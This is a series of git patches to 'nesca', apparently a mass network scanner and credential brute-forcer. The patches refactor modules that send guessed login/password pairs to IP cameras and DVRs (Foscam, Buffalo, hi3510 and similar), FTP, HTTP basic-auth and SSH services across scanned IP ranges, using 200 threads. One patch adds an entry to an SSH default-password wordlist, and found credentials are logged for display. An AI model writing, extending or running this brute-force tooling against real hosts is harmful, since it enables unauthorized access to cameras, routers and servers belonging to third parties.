"FTPAuth.h" +#include "SSHAuth.h" #include <memory> char* strstri(const char *_Str, const char *_SubStr) @@ -1185,7 +1186,7 @@ void _specBrute(const char *ip, int port, char tport[32] = {0}; sprintf(tport, ":%d", port); - const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port); + const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1360,14 +1361,12 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy) int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) { - if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) + if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || + strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) { std::string sshBuff; - int res = Connector::_SSHLobby(ip, p, &sshBuff); - if(res != -1 && res != -2) - { - _saveSSH(ip, p, recd, (char*)sshBuff.c_str()); - }; + int res = SSHAuth::SSHLobby(ip, p, &sshBuff); + if(res != -1 && res != -2) _saveSSH(ip, p, recd, (char*)sshBuff.c_str()); return -1; }; @@ -1430,7 +1429,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char log[2048] = {0}; char logEmit[2048] = {0}; - const lopaStr &lps = FTPA::_FTPLobby(ip, p, &ps); + const lopaStr &lps = FTPA::FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { @@ -1630,7 +1629,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char log[512] = {0}; ++AnomC1; - const lopaStr &lps = BA::_BALobby((string(ip) + "/~login").c_str(), p); + const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p); sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); diff --git a/nesca.pro b/nesca.pro index 5395b3a..a90a56e 100644 --- a/nesca.pro +++ b/nesca.pro @@ -40,7 +40,8 @@ SOURCES +=\ BruteUtils.cpp \ BasicAuth.cpp \ FTPAuth.cpp \ - Threader.cpp + Threader.cpp \ + SSHAuth.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -67,7 +68,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \ BasicAuth.h \ BruteUtils.h \ FTPAuth.h \ - Threader.h + Threader.h \ + SSHAuth.h FORMS += nesca_3.ui diff --git a/sshpass.txt b/sshpass.txt index 5c6c017..9589491 100644 --- a/sshpass.txt +++ b/sshpass.txt @@ -22,4 +22,5 @@ admin:123123 admin:654321 root:password admin:pasword -test:test \ No newline at end of file +test:test +root:1qazXSW@ From 0608ae0afa19dfd4904da15735aa5187eed74dea Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 17:22:36 +0300 Subject: [PATCH 53/66] Minor refactorings --- connector_old.cpp | 282 ++++++------------------------------------ nesca_startModule.cpp | 33 +++++ 2 files changed, 68 insertions(+), 247 deletions(-) diff --git a/connector_old.cpp b/connector_old.cpp index d849b33..ca8b708 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -1,51 +1,7 @@ #include "STh.h" -#include <libssh/libssh.h> -#include <sstream> -#include <openssl/md5.h> -#include "mainResources.h" -#include "externFunctions.h" #include "externData.h" -#include "openssl/err.h" -#include "Utils.h" #include "BruteUtils.h" -int gMaxBrutingThreads = 200; -fd_set write_fs; - -bool debugWriteWait = false; -void _DebugWriteHTMLToFile(char *request, char *buff) -{ - while(debugWriteWait) Sleep(50); - debugWriteWait = true; - FILE *df = fopen("./debugData.txt", "a"); - - if(df != NULL) - { - fputs(request, df); - fputs("==========================\n", df); - fputs(buff, df); - fputs("\n==========================\n==========================\n\n", df); - fclose(df); - } - else - { - stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); - }; - debugWriteWait = false; -} - -unsigned char tl(unsigned char d) -{ - if(d >= 192 && d <= 223) - { - return (unsigned char)(d + 32); - } - else - { - return tolower(d); - }; -} - int recvWT( int Socket, char *Buffer, @@ -72,26 +28,6 @@ int recvWT( return(n) ; /* trouble */ } -std::string toLowerStr(const char *str) -{ - if(str != NULL) { - int tsz = strlen(str); - char *strr = new char[tsz+1]; - ZeroMemory(strr, tsz); - - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; - - memset(strr + tsz, '\0', 1); - - std::string tstr = std::string(strr); - delete []strr; - return tstr; - } else return ""; -} - int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; @@ -106,17 +42,11 @@ int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int por #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; + else return -1; #else if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; + else return -1; #endif sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -271,197 +201,55 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC) ZeroMemory(request, sizeof(request)); if(strcmp(SPEC, "IPC") == 0) { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, login, pass, pass, ip, port); + } else if(strcmp(SPEC, "GEO") == 0) { - strcpy(request, "GET /Login.cgi?username="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /Login.cgi?username=%s&password=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); + } else if(strcmp(SPEC, "EasyCam") == 0) { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, login, pass, pass, ip, port); + } else if(strcmp(SPEC, "Foscam") == 0) { - strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, "&cmd=logIn&usrName="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, login, pass, ip, port); + } else if(strcmp(SPEC, "AVIOSYS") == 0) { - strcpy(request, "GET /check_user.html?UserName="); - strcat(request, login); - strcat(request, "&PassWord="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /check_user.html?UserName=%s&PassWord=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); + } else if(strcmp(SPEC, "BUFFALO") == 0) - { - strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("user=&password="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + { + int sz = strlen(login) + strlen(pass) + strlen("user=&password="); + + sprintf(request, "POST /rpc/login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nuser=%s&password=%s", + ip, port, sz, login, pass); + } else if(strcmp(SPEC, "DVS") == 0) - { - strcpy(request, "POST /login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "langs=en&user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(passString, "&submit=+Login+"); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + { + int sz = strlen(login) + strlen(pass) + strlen("langs=en&user=&password=&submit=+Login+"); + + sprintf(request, "POST /login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nlangs=en&user=%s&password=%s&submit=+Login+", + ip, port, sz, login, pass); } else if(strcmp(SPEC, "IPCAM") == 0) - { - strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); - strcat(request, login); - strcat(request, "&-passwd="); - strcat(request, pass); - strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - + { + sprintf(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); } else if(strcmp(SPEC, "IEORFOREFOX") == 0) { - strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("username=&userpwd="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "username="); - strcat(passString, login); - strcat(passString, "&userpwd="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + int sz = strlen(login) + strlen(pass) + strlen("username=&userpwd="); + + sprintf(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nusername=%s&userpwd=%s", + ip, port, sz, login, pass); }; int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index e81271a..7009697 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -27,6 +27,7 @@ int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; int BA = 0; int gPingTimeout = 1; +int gMaxBrutingThreads = 200; unsigned int Activity = 0; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; @@ -717,6 +718,38 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) { return gTargets; } +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + return (unsigned char)(d + 32); + } + else + { + return tolower(d); + }; +} + +std::string toLowerStr(const char *str) +{ + if(str != NULL) { + int tsz = strlen(str); + char *strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + std::string tstr = std::string(strr); + delete []strr; + return tstr; + } else return ""; +} + void _connect() { string ip = ""; while (globalScanFlag) { From 478510e20a7896fe5708212f2e341f9eeac6a75c Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Mon, 23 Mar 2015 19:32:33 +0300 Subject: [PATCH 54/66] -- --- Connector.cpp | 2 +- DrawerTh_ME2Scanner.cpp | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index b624985..54172fb 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -329,7 +329,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, QString(ip) + ":" + QString::number(port)); return -2; } else if (res == 8) { - stt->doEmitionFoundData("Strange ftp repl. (" + + stt->doEmitionFoundData("Strange ftp reply. (" + QString::number(res) + ") " + QString(ip) + ":" + QString::number(port)); return -2; diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index a6b92cd..04e028c 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -109,7 +109,7 @@ int MakePolygonLine(int gWidth) if(Alive > 0) { - if(xtx < 261 ) fact7+=1; + if(xtx < 254 ) fact7+=1; else fact7-=1; }; }; From 69d73e076adab0abb175d7fb858833c250949a0a Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Mon, 23 Mar 2015 20:11:00 +0300 Subject: [PATCH 55/66] -- --- BasicAuth.h | 3 +-- BruteUtils.h | 2 ++ CheckKey_Th.h | 2 +- Connector.cpp | 3 ++- Connector.h | 12 +++--------- FTPAuth.h | 3 +-- SSHAuth.h | 3 +-- nesca_startModule.cpp | 8 ++++---- 8 files changed, 15 insertions(+), 21 deletions(-) diff --git a/BasicAuth.h b/BasicAuth.h index b10eaa5..e78e747 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -1,9 +1,8 @@ #ifndef BASICAUTH_H #define BASICAUTH_H -#include "Connector.h" -#include "BruteUtils.h" #include "Utils.h" +#include "Connector.h" #include "externData.h" #include "mainResources.h" diff --git a/BruteUtils.h b/BruteUtils.h index 1580076..56c810c 100644 --- a/BruteUtils.h +++ b/BruteUtils.h @@ -1,6 +1,8 @@ #ifndef BRUTEUTILS_H #define BRUTEUTILS_H +#include "externData.h" + class BruteUtils { public: diff --git a/CheckKey_Th.h b/CheckKey_Th.h index d150d4a..e7fe606 100644 --- a/CheckKey_Th.h +++ b/CheckKey_Th.h @@ -1,8 +1,8 @@ #ifndef CHECKKEY_TH_H #define CHECKKEY_TH_H -#pragma once #include "STh.h" + extern int emitIfOK; class CheckKey_Th : public QThread { diff --git a/Connector.cpp b/Connector.cpp index 465a79c..9547b65 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -1,4 +1,5 @@ #include "Connector.h" +#include "SSHAuth.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int _pingMyTarget(const char *ip) @@ -227,7 +228,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, return buffer->size(); } -int Connector::_ConnectToPort(string ip, int port, char *hl) +int Connector::_ConnectToPort(std::string ip, int port, char *hl) { if(gPingNScan) { diff --git a/Connector.h b/Connector.h index 2ea66fd..2be5089 100644 --- a/Connector.h +++ b/Connector.h @@ -1,11 +1,8 @@ #ifndef CONNECTOR_H #define CONNECTOR_H -#include "externData.h" -#include "Utils.h" -#include "BruteUtils.h" -#include "SSHAuth.h" #include "STh.h" +#include "BruteUtils.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include <iphlpapi.h> @@ -13,16 +10,13 @@ #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib,"curllib.lib") #endif -#include "mainResources.h" - class Connector { public: static int nConnect(const char* ip, const int port, std::string *buffer, const char *postData = NULL, const std::vector<std::string> *customHeaders = NULL, - const string *lpString = NULL); - static int _ConnectToPort(string ip, int port, char *hl); - static int _SSHLobby(std::string ip, int port, std::string *buffer); + const std::string *lpString = NULL); + static int _ConnectToPort(std::string ip, int port, char *hl); }; #endif // CONNECTOR_H diff --git a/FTPAuth.h b/FTPAuth.h index f35e7d0..9b97b98 100644 --- a/FTPAuth.h +++ b/FTPAuth.h @@ -1,9 +1,8 @@ #ifndef FTPAUTH_H #define FTPAUTH_H -#include "Connector.h" -#include "BruteUtils.h" #include "Utils.h" +#include "Connector.h" #include "externData.h" #include "mainResources.h" diff --git a/SSHAuth.h b/SSHAuth.h index e454a24..b069ea1 100644 --- a/SSHAuth.h +++ b/SSHAuth.h @@ -1,9 +1,8 @@ #ifndef SSHAUTH_H #define SSHAUTH_H -#include "Connector.h" -#include "BruteUtils.h" #include "Utils.h" +#include "Connector.h" #include "externData.h" #include "mainResources.h" diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 7009697..5c9b749 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -751,7 +751,7 @@ std::string toLowerStr(const char *str) } void _connect() { - string ip = ""; + std::string ip = ""; while (globalScanFlag) { std::unique_lock<std::mutex> lk(Threader::m); Threader::cv.wait(lk, []{return Threader::ready; }); @@ -2065,7 +2065,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { if(!globalScanFlag) return 0; verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask); - string res = string(mask) + string(top_level_domain); + std::string res = std::string(mask) + std::string(top_level_domain); ++indexIP; @@ -2193,7 +2193,7 @@ int startScan(char* args) { ++indexIP; tAddr.s_addr = ntohl(i); - res = string(inet_ntoa(tAddr)); + res = std::string(inet_ntoa(tAddr)); verboseProgress(gTargets--, res.c_str()); Threader::fireThread(res, (void*(*)(void))_connect); @@ -2398,7 +2398,7 @@ int startScan(char* args) { ++indexIP; tAddr.s_addr = ntohl(i); - std::string res = string(inet_ntoa(tAddr)); + std::string res = std::string(inet_ntoa(tAddr)); verboseProgress(gTargets--, res.c_str()); Threader::fireThread(res, (void*(*)(void))_connect); } From 65dbbfb0396c6e9933204b8368984af6899afa3c Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Mon, 23 Mar 2015 20:47:48 +0300 Subject: [PATCH 56/66] Typo fix. --- BasicAuth.cpp | 2 +- nesca_startModule.cpp | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 5c368ed..d0b44ce 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -54,7 +54,7 @@ lopaStr BA::BABrute(const char *ip, const int port) { return lps; }; - if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + + if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + 